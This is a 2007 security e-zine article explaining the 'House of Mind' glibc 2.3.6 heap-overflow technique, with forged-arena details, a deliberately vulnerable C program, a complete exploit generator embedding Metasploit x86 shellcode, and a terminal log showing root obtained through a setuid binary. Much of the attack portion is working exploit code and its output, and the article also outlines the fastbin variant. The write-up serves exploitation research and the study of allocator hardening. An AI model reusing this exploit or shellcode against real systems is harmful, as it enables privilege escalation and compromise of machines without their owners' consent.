[===========================================================================]
[---------------------------[ The House of Mind ]---------------------------]
[===========================================================================]
_==####==_
.############.
.################.
.##################.__ __ __ __ _ _ __ __
##############/¯_`|#\ V V // _` | '_/ -_)
##############\__,|# \_/\_/ \__,_|_| \___|
###########*¯*######
*#########{ }####*
##########._.##### date: 01/01/2007
################ by: K-sPecial
*############*
¯==####==¯
[===========================================================================]
In 2004, a series of patches where released against the GLibC lines, adding
into effect mandatory assertions - in hope of slowing down, if not stopping
the exploitation of wild malloc()/free() holes (from here on out referred to
as "free holes"). In late 2005, Phantasmal Phantasmagoria released a paper
giving a detailed explanation of fresh, independantly discovered methods for
working around these assertions, and hence, making free holes fair game once
again. The only problem is: Phantasmal did not release any sourcecode with
his paper, which, at that time, was considered to be almost purely
theoretical. In this article, I will pick apart one of his methods,
explaining how it works and elaborate prerequisites for it to work at all.
For this purpose, I will choose what Phantasmal proclaims to be "the most
general technique" - that is, which he also proclaims, the technique most
like the familiar unlink() method. It is now that I bring to you,
The House of Mind.
It should be noted that if one chooses to read this article, he shall be best
off with first consulting Phantasmal's explanation and version of The House
of Mind, which you can saftely find on both .aware and xzziroz with the link
provided lateron.
The idea behind the House Of Mind is that there is a structure for every
given heap "arena" that stores primary information regarding this "arena". An
arena consists of multiple heap "chunks" (blocks) in a given memory region. A
process starts itself with a primary arena named "main_arena". Assuming I
allocated the first chunk:
char *ptr = malloc(1024)
This chunk is contained in the main arena. There happens to be a flag in every
chunk, indicating whether the chunk pertains to the main arena. This flag is
located in the 'size' element of this structure:
chunk +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if allocated | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes M|M|P|
mem +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_space() bytes) .
. |
nextchunk +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Taken from malloc.c, this flag is named NON_MAIN_ARENA:
#define NON_MAIN_ARENA 0x4
When calling the function public_free() (which is what free() boils down to)
with this flag set, the arena for the chunk which free() is being called for
will be pinpointed outside the main arena. The following code from malloc.c,
within public_free(), specificly outlines this process:
ar_ptr = arena_for_chunk(p);
Where p is the address of the chunk and ar_ptr is the container receiving the
address of this chunks arena. Defined in arena.c, the arena_for_chunk macro
looks as the following:
#define arena_for_chunk(ptr) \
(chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)
chunk_non_main_arena(ptr) returns true, since i claim to be NON_MAIN_ARENA.
heap_for_ptr looks as the following:
#define heap_for_ptr(ptr) \
((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))
HEAP_MAX_SIZE is defined as 1024*1024 on a default install. If you grock the
code you will find that ~(1024*1024-1) dilutes to be 0xFFF00000, which is an
AND-bitmask that would transform a number such as 0x08012345 into 0x08000000.
Assume that this is precisely what just happened: My first chunk allocated
in a piece of code happens to be 0x8012345. Then it's arena pointer (ar_ptr)
will be 0x08000000. This is invalid and will likely result in a segmentation
fault or likewise error since there is no arena structure located at the
address. This is also useless since I can not write data to this address -
and hence, I am unable to create a fake arena structure. What must be done
is just what Phantasmal suggested: Make the program allocate more memory
until a chunk is located above 0x81000000. Assume I allocate a chunk located
at 0x8100123. If I overflow this chunks size element with the NON_MAIN_HEAP
flag set, the arena pointer will be looked for it in memory that the previous
chunk controls. By forging an arena structure with evil offsets I can cause
code execution through at least two different code locations in the malloc
subsystem.
Phantasmal wrote of two different methods through which code execution can be
induced through the arbitrary forging of an arena. The first method involves
forging addresses in the bins[] array located inside of the arena structure.
Phantasmal wrote that if the following conditions where to be made valid:
- The negative of the size of the overflowed chunk must
be less than the value of the chunk itself.
- The size of the chunk must not be less than av->max_fast.
- The IS_MMAPPED bit of the size cannot be set.
- The overflowed chunk cannot equal av->top.
- The NONCONTIGUOUS_BIT of av->max_fast must be set.
- The PREV_INUSE bit of the nextchunk (chunk + size)
must be set.
- The size of nextchunk must be greater than 8.
- The size of nextchunk must be less than av->system_mem
- The PREV_INUSE bit of the chunk must not be set.
- The nextchunk cannot equal av->top.
- The PREV_INUSE bit of the chunk after nextchunk
(nextchunk + nextsize) must be set
Then the following code would be executed:
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
"In this case p is the address of the designer's overflowed chunk. The
unsorted_chunks() macro returns av->bins[0] which is designer controlled.
If the designer sets av->bins[0] to the address of a GOT or .dtors entry
minus 8, then that entry (bck->fd) will be overwritten with the address
of p."
Phantasmal kindof fibbed here. unsorted_chunks() does not return av->bins[0]
- it returns &av->bins[0], which, at first, seems to be about useless.
Phantasmal was close enough for us to give him credit, tho. In fact, I
imagine he just typed it wrong as it wouldn't work elsewise - fwd->bk would
cause a segfault. What actually has to be done is setting bck->fd
(&av->bins[0] + 8) to the address of the .dtors+4 entry minus 12. After this
is accomplished, fwd will be set to bck->fd, fwd->bk = p (bck->fd + 12) will
write the address of the chunk being free()'d to .dtors + 4. The first byte
of the chunk I write will actually be at p + 8, since p points to prev_size,
the first element of a chunk structure, and p + 4 points to the size element
- the second element in a heap structure. This is fair, because I can place
a jmp 0x4 in the 4 bytes that occupy prev_size. It will jump over the size
element and land right into the shellcode.
I've gone too far without introducing you to the vulnerable code!
------------------------------------------------------------ begin heap1.c --
#include <stdio.h>
#include <stdlib.h>
int main (void) {
char *ptr = malloc(1024);
char *ptr2;
int heap = (int)ptr & 0xFFF00000;
_Bool found = 0;
printf("ptr found at %p\n", ptr);
// i == 2 because this is my second chunk to allocate
for (int i = 2; i < 1024; i++) {
if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) ==
(heap + 0x100000))) {
printf("good heap allignment found on malloc() %i
(%p)\n", i, ptr2);
found = 1;
break;
}
}
malloc(1024);
fread (ptr, 1024 * 1024, 1, stdin);
free(ptr);
free(ptr2);
return(0);
}
-------------------------------------------------------------- end heap1.c --
This code makes an initial malloc, followed by numerous additional
allocations which are necessary to return a chunk that would be expected to
have an arena in a memory location that I can write to through the heap
overflow. The first chunk found having an arena in overflowable memory has
its address printed for my convienence. After this, one more chunk is
allocated since Phantasmal stated that the free()'d chunk could not equal
av->top (the most recent allocated chunk) (actually he said nextchunk could
not equal this, he fibbed again)
Now for exploit code:
----------------------------------------------------------- begin ploit1.c --
#include <stdio.h>
/* linux_ia32_exec - CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub
http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
int main (void) {
// don't use the first 8 bytes of a chunk for data because
// when it is free()'d it seems to be garbaged up with
// strange addresses.
for (int i = 0; i < 8; i++) putchar(0x41);
// set the mutex to 0
fwrite("\x00\x00\x00\x00", 4, 1, stdout);
// write max_fast a few times, we'll hit it and we'll
// take up some more bytes
for (int i = 0; i < 32 / 4; i++)
fwrite("\x02\x01\x00\x00", 4, 1, stdout);
// finish this chunk with the address one wants to place at
// bins[0] + 8 (dtors_end - 12)
for (int i = 0; i < 984 / 4; i++)
fwrite("\x70\x96\x04\x08", 4, 1, stdout);
// fill in the unused mallocated space with A's but
// preserving the 'size' element (1024 with PREV_INUSE
// bit set)
for (int i = 0; i < 721; i++) {
fwrite("\x09\x04\x00\x00", 4, 1, stdout);
for (int i = 0; i < 1028; i++)
putchar(0x41);
}
fwrite("\x09\x04\x00\x00", 4, 1, stdout);
// this is the memory that heap_for_ptr returned,
// one wants to fill it with the address of which
// ar_ptr should have
for (int i = 0; i < (1024 / 4); i++)
fwrite("\x10\xa0\x04\x08", 4, 1, stdout);
// jmp + 12
fwrite("\xeb\x0c\x90\x90", 4, 1, stdout);
// size field with NON_MAIN_ARENA set
fwrite("\x0d\x04\x00\x00", 4, 1, stdout);
// icky 8 byte filler
fwrite("\x90\x90\x90\x90\x90\x90\x90\x90", 8, 1, stdout);
// finally the shellcode
fwrite(scode, sizeof(scode), 1, stdout);
return(0);
}
------------------------------------------------------------- end ploit1.c --
First things first, I build a fake arena structure in the first mallocated
block from heap1.c. I start out 8 bytes from the top of it, since when it is
free()'d, these 8 bytes will be garbaged. Then I write a 0. I had to learn
the hard way (lots of glibc reading) that the first value of an arena
structure is a mutex. This mutex will be waited upon (blocked upon) and your
program will infinite loop if it equals anything other than 0. Next i write
0x102, this is max_fast with a small size (so my chunk is not considered
smaller than max_fast, as Phantasmal stated) which also has the NONCONTIGUOUS
flag (defined as 2) set. max_fast is located at ar_ptr + 8. Afterwards, I
garbage the rest of the arena with the address I wish p to be written to,
minus 12. &bins[0] is located at ar_ptr + 76 so I am sure to hit it. Next,
the unused mallocated area I am overflowing is filled with filler until I get
to the chunk which consists of the memory that heap_for_ptr returns. Here, I
must provide the arena location that ar_ptr will contain - and hence, the
arena location that free will use for this chunk. ar_ptr is located at the
address returned by heap_for_ptr. Almost there. Next I need to fill the chunk
that will be written to the specified memory location. By starting with a jmp
12, I jump past the 'size' element of this chunk and the first 8 bad bytes of
it (from once it's free()'d). Next comes the size field itself, which should
be the legit size of the chunk along with the NON_MAIN_ARENA bit set.
Finally, the 8 icky byte filler followed by the pretty shellcode.
-----------------------------------------------------------------------------
Location to be written to (dtors + 4), minus 12:
kspecial@mirage:~$ objdump -x heap | grep dtors | head -1
16 .dtors 00000008 08049678 08049678 00000678 2**2
0x08049678 + 4 - 12 == 0x08049670
Location of arena (first chunk, + 8)
kspecial@mirage:~$ ./heap
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
0x0804a008 + 8 == 0x0804a010
Behold:
kspecial@mirage:~$ gcc -o heap heap1.c -std=c99
kspecial@mirage:~$ gcc -o ploit ploit.c -std=c99
kspecial@mirage:~$ ./ploit > file
kspecial@mirage:~$ su root
Password:
mirage:/home/kspecial# chown root heap
mirage:/home/kspecial# chmod 4755 heap
mirage:/home/kspecial# exit
exit
kspecial@mirage:~$ ./heap < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(kspecial) gid=1000(kspecial) euid=0(root)
groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),
107(powerdev),1000(kspecial)
kspecial@mirage:~$
-----------------------------------------------------------------------------
diagram of the trashed heap:
chunk 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
| prev_size (?) | size (0x409) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| garbage (0x4141414141414141) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| mutex (0x0) | max_size (0x102) x 8 .
.-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ .
. |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| .
. (Spam of write to location - 12) x 246 .
. (0x08049670) .
. |
chunk 2 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x271
| prev_size (0x41414141) | size (0x409) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| .
. 0x41 x 1024 .
. .
. |
chunk 273 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
| prev_size (0x41414141) | size (0x409) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| .
. Spam of arena location x 256 .
. (0x0804a010) .
. |
chunk 274 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
| prev_size (EB0c9090) | size (0x40d) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| garbage (0x9090909090909090) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+ .
. SHELLCODE! .
. .
. |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
chunk 2 actually has a prev_size of 0x08049670, because I overflow it in
chunk 1 (but it is irrelevant). All the chunks from there on have a prev_size
of "AAAA", while 273's is the jmp code.
I will not be providing source code here for the fastbin method Phantasmal
suggested to be used with the house of mind. I will, although, quickly
document its primary goal and state why I feel about it the way I do. The
fastbin method is not entirely different from the bin method described above.
With the fastbin method, the primary goal is to point the arena elsewhere
while making sure the size field of the chunk being free()'d is less than
max_size, which will, in turn, cause this code to be excuted:
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
// ...
p->fd = *fb;
*fb = p;
This is quite trivial to exploit with what has been said. If I where to point
the arena to a location such that max_fast (av + 4) was larger than the chunk
being free()'d and hence, &(av->fastbins[fastbin_index(size)]); returning a
pointer to a GOT or .dtors entry, then that entry would be overwritten with
the address of the chunk being free()'d. The only problem lies within
av->system_mem, which is contained at the end of an arena structure (check
malloc.c struct malloc_state for an arena structure). nextchunk (the chunk
after the chunk being freed()'d) must be smaller than system_mem. In the
small, vulnerable heap I coded, there where too many zeros after both the GOT
and dtors sections. It was impossible to set system_mem to any value other
than 0. Phantasmal wrote that if the GOT was too small (as in small programs,
such as mine), the stack could be used to the same advantage. In other words,
I would be capable of placing the arena in a spot of the stack such that
*fb = p would overwrite eip or some other data flow variable. This is albeit
near impossible on modern linux systems since address space layout
randomization is present.
However, this method is viable in larger applications, and is deffinitely
easier to write.
One last note. This work was done with a modern Debian 4.0 machine.
The GLibC version is 2.3.6, the following debian packages where used:
libc6-dbg - GNU C Library: Libraries with debugging symbols
libc6-dev - GNU C Library: Development Libraries and Header Files
Along with standard 2.3.6 sourecode.
--K-sPecial
[=================================[ REF ]==================================]
PS: I will place these codes on the site, in case 80 CPL formatting has
gotten the best of them.
[1] "The Malloc Maleficarum" (http://securityfocus.com)
By Phantasmal Phantasmagoria.
Tue, 11 Oct 2005 10:14:02 -0700 Sat, 31 Dec 2006 23:01:33 -0500
http://awarenetwork.org/etc/alpha/ref/MallocMaleficarum.txt
[2] "Once upon a free()" (http://phrack.org)
Published time Unknown Sat, 31 Dec 2006 23:01:33 -0500
http://awarenetwork.org/etc/alpha/ref/once%20upon%20a%20free.txt
[3] "GLibC" http://gnu.org
Tue, 03 Nov 2005 20:12 31 Dec 2006 23:01:33 -0500 20:12
http://ftp.gnu.org/gnu/glibc/glibc-2.3.6.tar.bz2
[==================================[ EOF ]==================================]
|
